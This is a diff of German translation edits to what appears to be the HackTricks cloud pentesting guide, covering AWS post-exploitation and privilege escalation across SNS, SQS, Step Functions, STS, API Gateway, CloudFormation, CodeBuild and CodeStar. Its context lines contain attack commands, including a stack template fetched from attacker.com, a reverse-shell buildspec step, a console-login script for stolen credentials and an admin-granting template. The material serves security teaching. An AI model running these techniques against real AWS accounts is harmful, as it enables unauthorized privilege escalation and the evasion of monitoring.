-In mehreren Fällen werden SNS-Themen verwendet, um Nachrichten an Plattformen zu senden, die überwacht werden (E-Mails, Slack-Nachrichten...). Wenn ein Angreifer das Senden der Nachrichten verhindert, die über seine Präsenz in der Cloud informieren, könnte er unentdeckt bleiben.
+In mehreren Fällen werden SNS-Themen verwendet, um Nachrichten an überwachte Plattformen (E-Mails, Slack-Nachrichten...) zu senden. Wenn ein Angreifer das Senden der Nachrichten verhindert, die über seine Anwesenheit in der Cloud informieren, könnte er unentdeckt bleiben.
### `sns:DeleteTopic`
@@ -40,7 +40,7 @@ aws sns set-topic-attributes --topic-arn --attribute-name --attr
### `sns:Subscribe` , `sns:Unsubscribe`
-Ein Angreifer könnte sich an ein SNS-Thema anmelden oder abmelden, wodurch er möglicherweise unbefugten Zugriff auf Nachrichten erhält oder die normale Funktionsweise von Anwendungen, die auf das Thema angewiesen sind, stört.
+Ein Angreifer könnte sich an ein SNS-Thema anmelden oder abmelden, wodurch er möglicherweise unbefugten Zugriff auf Nachrichten erhält oder die normale Funktion von Anwendungen, die auf das Thema angewiesen sind, stört.
```bash
aws sns subscribe --topic-arn --protocol --endpoint
aws sns unsubscribe --subscription-arn
@@ -54,15 +54,15 @@ Ein Angreifer könnte unbefugten Benutzern oder Diensten Zugriff auf ein SNS-The
aws sns add-permission --topic-arn --label --aws-account-id --action-name
aws sns remove-permission --topic-arn --label
```
-**Potenzielle Auswirkungen**: Unbefugter Zugriff auf das Thema, Nachrichtenexposition oder Themenmanipulation durch unbefugte Benutzer oder Dienste, Störung der normalen Funktionalität von Anwendungen, die auf das Thema angewiesen sind.
+**Potenzielle Auswirkungen**: Unbefugter Zugriff auf das Thema, Nachrichtenexposition oder Themenmanipulation durch unbefugte Benutzer oder Dienste, Störung der normalen Funktionalität für Anwendungen, die auf das Thema angewiesen sind.
-### `sns:TagResource`, `sns:UntagResource`
+### `sns:TagResource` , `sns:UntagResource`
-Ein Angreifer könnte Tags von SNS-Ressourcen hinzufügen, ändern oder entfernen, was die Kostenallokation, die Ressourcenverfolgung und die Zugriffskontrollrichtlinien Ihrer Organisation, die auf Tags basieren, stören würde.
+Ein Angreifer könnte Tags von SNS-Ressourcen hinzufügen, ändern oder entfernen, was die Kostenallokation, die Ressourcenverfolgung und die Zugriffskontrollrichtlinien Ihrer Organisation, die auf Tags basieren, stören könnte.
```bash
aws sns tag-resource --resource-arn --tags Key=,Value=
aws sns untag-resource --resource-arn --tag-keys
```
-**Potenzielle Auswirkungen**: Störung der Kostenallokation, Ressourcennachverfolgung und tagbasierter Zugriffskontrollrichtlinien.
+**Potenzielle Auswirkungen**: Störung der Kostenallokation, Ressourcenverfolgung und tagbasierter Zugriffskontrollrichtlinien.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md
index 5d80600b0..ed786db86 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md
@@ -12,7 +12,7 @@ Für weitere Informationen siehe:
### `sqs:SendMessage` , `sqs:SendMessageBatch`
-Ein Angreifer könnte bösartige oder unerwünschte Nachrichten an die SQS-Warteschlange senden, was potenziell zu Datenkorruption, ungewollten Aktionen oder Ressourcenerschöpfung führen könnte.
+Ein Angreifer könnte bösartige oder unerwünschte Nachrichten an die SQS-Warteschlange senden, was möglicherweise zu Datenkorruption, ungewollten Aktionen oder Ressourcenerschöpfung führen könnte.
```bash
aws sqs send-message --queue-url --message-body
aws sqs send-message-batch --queue-url --entries
@@ -21,7 +21,7 @@ aws sqs send-message-batch --queue-url --entries
### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
-Ein Angreifer könnte Nachrichten in einer SQS-Warteschlange empfangen, löschen oder die Sichtbarkeit von Nachrichten ändern, was zu Nachrichtenverlust, Datenkorruption oder Dienstunterbrechungen für Anwendungen führen könnte, die auf diese Nachrichten angewiesen sind.
+Ein Angreifer könnte Nachrichten in einer SQS-Warteschlange empfangen, löschen oder die Sichtbarkeit von Nachrichten ändern, was zu Nachrichtenverlust, Datenkorruption oder Dienstunterbrechungen für Anwendungen führen kann, die auf diese Nachrichten angewiesen sind.
```bash
aws sqs receive-message --queue-url
aws sqs delete-message --queue-url --receipt-handle
@@ -43,7 +43,7 @@ Ein Angreifer könnte alle Nachrichten aus einer SQS-Warteschlange löschen, was
```arduino
Copy codeaws sqs purge-queue --queue-url
```
-**Potenzielle Auswirkungen**: Nachrichtenverlust und Dienstunterbrechung für Anwendungen, die auf die bereinigten Nachrichten angewiesen sind.
+**Potenzielle Auswirkungen**: Nachrichtenverlust und Dienstunterbrechung für Anwendungen, die auf die entfernten Nachrichten angewiesen sind.
### `sqs:SetQueueAttributes`
@@ -60,7 +60,7 @@ Ein Angreifer könnte Tags von SQS-Ressourcen hinzufügen, ändern oder entferne
aws sqs tag-queue --queue-url --tags Key=,Value=
aws sqs untag-queue --queue-url --tag-keys
```
-**Potenzielle Auswirkungen**: Störung der Kostenverteilung, Ressourcenverfolgung und tagbasierten Zugriffskontrollrichtlinien.
+**Potenzielle Auswirkungen**: Störung der Kostenallokation, Ressourcenverfolgung und tagbasierter Zugriffskontrollrichtlinien.
### `sqs:RemovePermission`
@@ -68,6 +68,6 @@ Ein Angreifer könnte Berechtigungen für legitime Benutzer oder Dienste widerru
```arduino
arduinoCopy codeaws sqs remove-permission --queue-url --label
```
-**Potenzielle Auswirkungen**: Störung der normalen Funktionsweise von Anwendungen, die auf die Warteschlange angewiesen sind, aufgrund unbefugter Entfernung von Berechtigungen.
+**Potenzielle Auswirkungen**: Störung der normalen Funktion von Anwendungen, die auf die Warteschlange angewiesen sind, aufgrund unbefugter Entfernung von Berechtigungen.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
index 3b7eab11f..fb4f6ae89 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
@@ -23,8 +23,8 @@ Ein Angreifer mit diesen Berechtigungen könnte in der Lage sein, Zustandsmaschi
> [!NOTE]
>
> - Wenn Sie eine Zustandsmaschine löschen, löschen Sie auch alle zugehörigen Versionen und Aliase.
-> - Wenn Sie einen Zustandsmaschinenalias löschen, löschen Sie nicht die Zustandsmaschinenversionen, die auf diesen Alias verweisen.
-> - Es ist nicht möglich, eine Zustandsmaschinenversion zu löschen, die derzeit von einem oder mehreren Aliasen referenziert wird.
+> - Wenn Sie einen Alias einer Zustandsmaschine löschen, löschen Sie nicht die Versionen der Zustandsmaschine, die auf diesen Alias verweisen.
+> - Es ist nicht möglich, eine Version einer Zustandsmaschine zu löschen, die derzeit von einem oder mehreren Aliasen referenziert wird.
```bash
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn
@@ -37,7 +37,7 @@ aws stepfunctions delete-state-machine-alias --state-machine-alias-arn
### `states:UpdateMapRun`
-Ein Angreifer mit dieser Berechtigung könnte die Konfiguration für das Scheitern von Map Runs und die parallele Einstellung manipulieren, indem er die maximale Anzahl der zulässigen Ausführungen von untergeordneten Arbeitsabläufen erhöhen oder verringern kann, was sich direkt auf die Leistung des Dienstes auswirkt. Darüber hinaus könnte ein Angreifer den tolerierten Prozentsatz und die Anzahl der Fehler manipulieren, indem er diesen Wert auf 0 senkt, sodass jedes Mal, wenn ein Element fehlschlägt, der gesamte Map Run fehlschlägt, was sich direkt auf die Ausführung der Zustandsmaschine auswirkt und potenziell kritische Arbeitsabläufe stört.
+Ein Angreifer mit dieser Berechtigung könnte die Konfiguration für das Scheitern von Map Runs und die parallele Einstellung manipulieren, indem er die maximale Anzahl der zulässigen Ausführungen von untergeordneten Arbeitsabläufen erhöhen oder verringern kann, was sich direkt auf die Leistung des Dienstes auswirkt. Darüber hinaus könnte ein Angreifer den tolerierten Prozentsatz und die Anzahl der Fehler manipulieren und diesen Wert auf 0 senken, sodass jedes Mal, wenn ein Element fehlschlägt, der gesamte Map Run fehlschlägt, was sich direkt auf die Ausführung der Zustandsmaschine auswirkt und potenziell kritische Arbeitsabläufe stören könnte.
```bash
aws stepfunctions update-map-run --map-run-arn [--max-concurrency ] [--tolerated-failure-percentage ] [--tolerated-failure-count ]
```
@@ -52,15 +52,15 @@ Ein Angreifer mit dieser Berechtigung könnte in der Lage sein, die Ausführung
```bash
aws stepfunctions stop-execution --execution-arn [--error ] [--cause ]
```
-- **Potenzielle Auswirkungen**: Störung laufender Workflows, betriebliche Ausfallzeiten und potenzielle Datenkorruption.
+- **Potenzielle Auswirkungen**: Störung laufender Arbeitsabläufe, betriebliche Ausfallzeiten und potenzielle Datenkorruption.
### `states:TagResource`, `states:UntagResource`
-Ein Angreifer könnte Tags von Step Functions-Ressourcen hinzufügen, ändern oder entfernen, wodurch die Kostenallokation, die Ressourcenverfolgung und die Zugriffskontrollrichtlinien Ihrer Organisation, die auf Tags basieren, gestört werden.
+Ein Angreifer könnte Tags von Step Functions-Ressourcen hinzufügen, ändern oder entfernen, was die Kostenallokation, die Ressourcenverfolgung und die Zugriffskontrollrichtlinien Ihrer Organisation, die auf Tags basieren, stören würde.
```bash
aws stepfunctions tag-resource --resource-arn --tags Key=,Value=
aws stepfunctions untag-resource --resource-arn --tag-keys
```
-**Potenzielle Auswirkungen**: Störung der Kostenallokation, Ressourcennachverfolgung und tagbasierter Zugriffskontrollrichtlinien.
+**Potenzielle Auswirkungen**: Störung der Kostenallokation, der Ressourcenverfolgung und der tagbasierten Zugriffskontrollrichtlinien.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md
index 86adec2ea..5a6ea0738 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md
@@ -12,7 +12,7 @@ Für weitere Informationen:
### Von IAM-Credentials zur Konsole
-Wenn Sie es geschafft haben, einige IAM-Credentials zu erhalten, könnten Sie daran interessiert sein, **auf die Webkonsole zuzugreifen** mit den folgenden Tools.\
+Wenn es Ihnen gelungen ist, einige IAM-Credentials zu erhalten, könnten Sie daran interessiert sein, **auf die Webkonsole zuzugreifen** mit den folgenden Tools.\
Beachten Sie, dass der Benutzer/die Rolle die Berechtigung **`sts:GetFederationToken`** haben muss.
#### Benutzerdefiniertes Skript
@@ -50,7 +50,6 @@ resp=$(curl -s "$federation_endpoint" \
signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)
-
# Give the URL to login
echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token"
```
@@ -65,7 +64,7 @@ pip install aws-consoler
aws_consoler [params...] #This will generate a link to login into the console
```
> [!WARNING]
-> Stellen Sie sicher, dass der IAM-Benutzer die Berechtigung `sts:GetFederationToken` hat, oder stellen Sie eine Rolle zur Verfügung, die übernommen werden kann.
+> Stellen Sie sicher, dass der IAM-Benutzer die Berechtigung `sts:GetFederationToken` hat oder eine Rolle zum Übernehmen bereitstellt.
#### aws-vault
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md
index 94ae5c18f..efbed17a4 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md
@@ -29,20 +29,20 @@ aws --region apigateway get-api-key --api-key --include-value
### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH`
-Mit diesen Berechtigungen ist es möglich, die Ressourcenrichtlinie einer API zu ändern, um sich selbst den Zugriff zu gewähren, um sie aufzurufen und potenziellen Zugriff, den das API-Gateway haben könnte, auszunutzen (wie das Aufrufen eines anfälligen Lambda).
+Mit diesen Berechtigungen ist es möglich, die Ressourcenrichtlinie einer API zu ändern, um sich selbst den Zugriff zu gewähren, sie aufzurufen und potenzielle Zugriffe, die das API-Gateway haben könnte, auszunutzen (wie das Aufrufen einer verwundbaren Lambda).
```bash
aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'
```
-**Potenzielle Auswirkungen:** Sie werden normalerweise nicht direkt mit dieser Technik privesc erreichen können, aber Sie könnten Zugang zu sensiblen Informationen erhalten.
+**Potenzielle Auswirkungen:** Sie werden normalerweise nicht in der Lage sein, direkt mit dieser Technik Privilegien zu erhöhen, aber Sie könnten Zugang zu sensiblen Informationen erhalten.
### `apigateway:PutIntegration`, `apigateway:CreateDeployment`, `iam:PassRole`
-> [!NOTE]
+> [!HINWEIS]
> Muss getestet werden
-Ein Angreifer mit den Berechtigungen `apigateway:PutIntegration`, `apigateway:CreateDeployment` und `iam:PassRole` kann **eine neue Integration zu einer bestehenden API Gateway REST API mit einer Lambda-Funktion hinzufügen, die eine IAM-Rolle zugewiesen hat**. Der Angreifer kann dann **die Lambda-Funktion auslösen, um beliebigen Code auszuführen und möglicherweise Zugang zu den mit der IAM-Rolle verbundenen Ressourcen zu erhalten**.
+Ein Angreifer mit den Berechtigungen `apigateway:PutIntegration`, `apigateway:CreateDeployment` und `iam:PassRole` kann **eine neue Integration zu einer bestehenden API Gateway REST API mit einer Lambda-Funktion hinzufügen, die eine IAM-Rolle zugewiesen hat**. Der Angreifer kann dann **die Lambda-Funktion auslösen, um beliebigen Code auszuführen und möglicherweise Zugriff auf die mit der IAM-Rolle verbundenen Ressourcen zu erhalten**.
```bash
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
@@ -90,6 +90,6 @@ NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new
# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"
```
-**Potenzielle Auswirkungen**: Unbefugter Zugriff auf private API-Ressourcen, Abfangen oder Störung des API-Verkehrs.
+**Potenzielle Auswirkungen**: Unbefugter Zugriff auf private API-Ressourcen, Abfangen oder Stören des API-Verkehrs.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md
index 22c3a00e4..e48e6e892 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md
@@ -4,7 +4,7 @@
## cloudformation
-Für weitere Informationen über cloudformation siehe:
+Für weitere Informationen zu Cloudformation siehe:
{{#ref}}
../../aws-services/aws-cloudformation-and-codestar-enum.md
@@ -12,23 +12,23 @@ Für weitere Informationen über cloudformation siehe:
### `iam:PassRole`, `cloudformation:CreateStack`
-Ein Angreifer mit diesen Berechtigungen **kann Privilegien eskalieren**, indem er einen **CloudFormation-Stack** mit einer benutzerdefinierten Vorlage erstellt, die auf ihrem Server gehostet wird, um **Aktionen unter den Berechtigungen einer angegebenen Rolle auszuführen:**
+Ein Angreifer mit diesen Berechtigungen **kann Privilegien eskalieren**, indem er einen **CloudFormation-Stack** mit einer benutzerdefinierten Vorlage erstellt, die auf seinem Server gehostet wird, um **Aktionen unter den Berechtigungen einer angegebenen Rolle auszuführen:**
```bash
aws cloudformation create-stack --stack-name \
--template-url http://attacker.com/attackers.template \
--role-arn
```
-Auf der folgenden Seite haben Sie ein **Ausbeutungsbeispiel** mit der zusätzlichen Berechtigung **`cloudformation:DescribeStacks`**:
+Auf der folgenden Seite haben Sie ein **Exploitation-Beispiel** mit der zusätzlichen Berechtigung **`cloudformation:DescribeStacks`**:
{{#ref}}
iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
{{#endref}}
-**Potenzielle Auswirkungen:** Privesc auf die angegebene cloudformation-Dienstrolle.
+**Potenzielle Auswirkungen:** Privesc auf die angegebene Cloudformation-Service-Rolle.
### `iam:PassRole`, (`cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`)
-In diesem Fall können Sie einen **bestehenden cloudformation-Stack** missbrauchen, um ihn zu aktualisieren und Privilegien wie im vorherigen Szenario zu eskalieren:
+In diesem Fall können Sie eine **bestehende Cloudformation-Stack** missbrauchen, um sie zu aktualisieren und Privilegien wie im vorherigen Szenario zu eskalieren:
```bash
aws cloudformation update-stack \
--stack-name privesc \
@@ -37,15 +37,15 @@ aws cloudformation update-stack \
--capabilities CAPABILITY_IAM \
--region eu-west-1
```
-Die `cloudformation:SetStackPolicy` Berechtigung kann verwendet werden, um **sich selbst die `UpdateStack` Berechtigung** für einen Stack zu geben und den Angriff durchzuführen.
+Die `cloudformation:SetStackPolicy` Berechtigung kann verwendet werden, um **sich selbst die `UpdateStack` Berechtigung** über einen Stack zu geben und den Angriff durchzuführen.
**Potenzielle Auswirkungen:** Privesc auf die angegebene cloudformation-Dienstrolle.
### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`
-Wenn Sie diese Berechtigung haben, aber **keine `iam:PassRole`**, können Sie dennoch **die verwendeten Stacks aktualisieren** und die **IAM-Rollen, die bereits angehängt sind, missbrauchen**. Überprüfen Sie den vorherigen Abschnitt für ein Beispiel zum Ausnutzen (geben Sie einfach keine Rolle in der Aktualisierung an).
+Wenn Sie diese Berechtigung haben, aber **keine `iam:PassRole`**, können Sie dennoch **die verwendeten Stacks aktualisieren** und die **IAM-Rollen, die bereits angehängt sind, missbrauchen**. Überprüfen Sie den vorherigen Abschnitt für ein Exploit-Beispiel (geben Sie einfach keine Rolle in der Aktualisierung an).
-Die `cloudformation:SetStackPolicy` Berechtigung kann verwendet werden, um **sich selbst die `UpdateStack` Berechtigung** für einen Stack zu geben und den Angriff durchzuführen.
+Die `cloudformation:SetStackPolicy` Berechtigung kann verwendet werden, um **sich selbst die `UpdateStack` Berechtigung** über einen Stack zu geben und den Angriff durchzuführen.
**Potenzielle Auswirkungen:** Privesc auf die bereits angehängte cloudformation-Dienstrolle.
@@ -85,7 +85,7 @@ Die `cloudformation:SetStackPolicy` Berechtigung kann verwendet werden, um **sic
### (`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)
-Dies ist wie die vorherige Methode, ohne **IAM-Rollen** zu übergeben, sodass Sie einfach **bereits angehängte nutzen** können, ändern Sie einfach den Parameter:
+Dies ist wie die vorherige Methode, ohne **IAM-Rollen** zu übergeben, sodass Sie einfach **bereits angehängte** verwenden können, ändern Sie einfach den Parameter:
```
--change-set-type UPDATE
```
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
index b42aa7d67..c4e98c6a9 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
@@ -1,4 +1,4 @@
-# iam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks
+# iam:PassRole, cloudformation:CreateStack, und cloudformation:DescribeStacks
{{#include ../../../../banners/hacktricks-training.md}}
@@ -55,14 +55,14 @@ Ein Angreifer könnte beispielsweise eine **cloudformation-Vorlage** verwenden,
}
}
```
-Dann **generiere den CloudFormation-Stack**:
+Dann **erstellen Sie den CloudFormation-Stack**:
```bash
aws cloudformation create-stack --stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::[REDACTED]:role/adminaccess \
--capabilities CAPABILITY_IAM --region us-west-2
```
-**Warten Sie ein paar Minuten**, bis der Stack generiert ist, und **holen Sie die Ausgabe** des Stacks, in dem die **Anmeldeinformationen gespeichert sind**:
+**Warten Sie ein paar Minuten**, bis der Stack generiert ist, und **holen Sie sich die Ausgabe** des Stacks, in dem die **Anmeldeinformationen gespeichert sind**:
```bash
aws cloudformation describe-stacks \
--stack-name arn:aws:cloudformation:us-west2:[REDACTED]:stack/privesc/b4026300-d3fe-11e9-b3b5-06fe8be0ff5e \
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
index bec620f77..da8b3a8b5 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
@@ -12,7 +12,7 @@ Weitere Informationen finden Sie in:
### `codebuild:StartBuild` | `codebuild:StartBuildBatch`
-Nur mit einer dieser Berechtigungen reicht es aus, einen Build mit einem neuen Buildspec auszulösen und das Token der dem Projekt zugewiesenen IAM-Rolle zu stehlen:
+Nur mit einer dieser Berechtigungen reicht es aus, um einen Build mit einem neuen Buildspec auszulösen und das Token der dem Projekt zugewiesenen IAM-Rolle zu stehlen:
{{#tabs }}
{{#tab name="StartBuild" }}
@@ -67,7 +67,7 @@ aws codebuild start-build-batch --project --buildspec-override fi
### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
-Ein Angreifer mit den Berechtigungen **`iam:PassRole`, `codebuild:CreateProject` und `codebuild:StartBuild` oder `codebuild:StartBuildBatch`** wäre in der Lage, **die Privilegien zu jeder Codebuild IAM-Rolle zu eskalieren**, indem er eine laufende erstellt.
+Ein Angreifer mit den Berechtigungen **`iam:PassRole`, `codebuild:CreateProject` und `codebuild:StartBuild` oder `codebuild:StartBuildBatch`** wäre in der Lage, **die Privilegien auf jede Codebuild IAM-Rolle zu eskalieren**, indem er eine laufende erstellt.
{{#tabs }}
{{#tab name="Example1" }}
@@ -275,8 +275,8 @@ Das Codebuild-Projekt muss einen Haltepunkt haben:
@@ -289,7 +289,7 @@ Für weitere Informationen [**siehe die Dokumentation**](https://docs.aws.amazon
### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`
-Ein Angreifer, der in der Lage ist, einen Build eines bestimmten CodeBuild-Projekts zu starten/neuzustarten, dessen `buildspec.yml`-Datei in einem S3-Bucket gespeichert ist, auf den der Angreifer Schreibzugriff hat, kann die Ausführung von Befehlen im CodeBuild-Prozess erlangen.
+Ein Angreifer, der in der Lage ist, einen Build eines bestimmten CodeBuild-Projekts zu starten/neuzustarten, das seine `buildspec.yml`-Datei in einem S3-Bucket speichert, auf den der Angreifer Schreibzugriff hat, kann die Ausführung von Befehlen im CodeBuild-Prozess erlangen.
Hinweis: Die Eskalation ist nur relevant, wenn der CodeBuild-Arbeiter eine andere Rolle hat, hoffentlich mit mehr Berechtigungen, als die des Angreifers.
```bash
@@ -308,7 +308,7 @@ aws codebuild start-build --project-name
# Wait for the reverse shell :)
```
-Sie können etwas wie dieses **buildspec** verwenden, um eine **reverse shell** zu erhalten:
+Sie können etwas wie dies **buildspec** verwenden, um eine **reverse shell** zu erhalten:
```yaml:buildspec.yml
version: 0.2
@@ -320,7 +320,7 @@ commands:
**Auswirkungen:** Direkte Privilegieneskalation zu der Rolle, die vom AWS CodeBuild-Arbeiter verwendet wird, die normalerweise hohe Berechtigungen hat.
> [!WARNING]
-> Beachten Sie, dass das buildspec im Zip-Format erwartet werden könnte, sodass ein Angreifer die `buildspec.yml` aus dem Stammverzeichnis herunterladen, entpacken, ändern, erneut zippen und hochladen müsste.
+> Beachten Sie, dass das buildspec im Zip-Format erwartet werden könnte, sodass ein Angreifer herunterladen, entpacken, die `buildspec.yml` im Stammverzeichnis ändern, erneut zippen und hochladen müsste.
Weitere Details sind [hier](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/) zu finden.
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md
index 450c7705c..7e8fef6c7 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md
@@ -4,7 +4,7 @@
## Codestar
-Sie können weitere Informationen zu Codestar finden in:
+Weitere Informationen zu Codestar finden Sie in:
{{#ref}}
codestar-createproject-codestar-associateteammember.md
@@ -49,22 +49,22 @@ codestar-createproject-codestar-associateteammember.md
### `codestar:CreateProjectFromTemplate`
-1. **Ein neues Projekt erstellen:**
-- Nutzen Sie die **`codestar:CreateProjectFromTemplate`**-Aktion, um die Erstellung eines neuen Projekts zu initiieren.
+1. **Neues Projekt erstellen:**
+- Nutzen Sie die Aktion **`codestar:CreateProjectFromTemplate`**, um die Erstellung eines neuen Projekts zu initiieren.
- Nach erfolgreicher Erstellung wird automatisch Zugriff auf **`cloudformation:UpdateStack`** gewährt.
- Dieser Zugriff zielt speziell auf einen Stack, der mit der `CodeStarWorker--CloudFormation` IAM-Rolle verbunden ist.
-2. **Aktualisieren Sie den Ziel-Stack:**
+2. **Ziel-Stack aktualisieren:**
- Mit den gewährten CloudFormation-Berechtigungen fahren Sie fort, den angegebenen Stack zu aktualisieren.
-- Der Name des Stacks wird typischerweise einem der beiden Muster entsprechen:
+- Der Name des Stacks wird typischerweise einem von zwei Mustern entsprechen:
- `awscodestar--infrastructure`
- `awscodestar--lambda`
-- Der genaue Name hängt von der gewählten Vorlage ab (siehe das Beispiel-Exploit-Skript).
+- Der genaue Name hängt von der gewählten Vorlage ab (siehe Beispiel-Exploit-Skript).
3. **Zugriff und Berechtigungen:**
- Nach der Aktualisierung erhalten Sie die Fähigkeiten, die der **CloudFormation IAM-Rolle** zugeordnet sind, die mit dem Stack verbunden ist.
- Hinweis: Dies gewährt nicht automatisch vollständige Administratorrechte. Weitere falsch konfigurierte Ressourcen innerhalb der Umgebung könnten erforderlich sein, um die Berechtigungen weiter zu erhöhen.
Für weitere Informationen überprüfen Sie die ursprüngliche Forschung: [https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/](https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/).\
-Sie finden das Exploit unter [https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py)
+Sie finden den Exploit unter [https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py)
**Potenzielle Auswirkungen:** Privesc zur CloudFormation IAM-Rolle.
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md
index b53046815..1363e490f 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md
@@ -2,9 +2,9 @@
{{#include ../../../../banners/hacktricks-training.md}}
-Mit diesen Berechtigungen können Sie **eine codestar IAM-Rolle missbrauchen**, um **willkürliche Aktionen** über eine **CloudFormation-Vorlage** auszuführen.
+Mit diesen Berechtigungen können Sie **eine codestar IAM-Rolle ausnutzen**, um **willkürliche Aktionen** über eine **CloudFormation-Vorlage** durchzuführen.
-Um dies auszunutzen, müssen Sie einen **S3-Bucket erstellen, der vom angegriffenen Konto aus zugänglich ist**. Laden Sie eine Datei namens `toolchain.json` hoch. Diese Datei sollte die **CloudFormation-Vorlagenausnutzung** enthalten. Die folgende kann verwendet werden, um eine verwaltete Richtlinie einem Benutzer unter Ihrer Kontrolle zuzuweisen und **ihm Administratorberechtigungen zu geben**:
+Um dies auszunutzen, müssen Sie einen **S3-Bucket erstellen, der vom angegriffenen Konto zugänglich ist**. Laden Sie eine Datei namens `toolchain.json` hoch. Diese Datei sollte die **CloudFormation-Vorlagenausnutzung** enthalten. Die folgende kann verwendet werden, um eine verwaltete Richtlinie einem Benutzer unter Ihrer Kontrolle zuzuweisen und **ihm Administratorberechtigungen zu geben**:
```json:toolchain.json
{
"Resources": {
@@ -28,7 +28,7 @@ Um dies auszunutzen, müssen Sie einen **S3-Bucket erstellen, der vom angegriffe
}
}
```
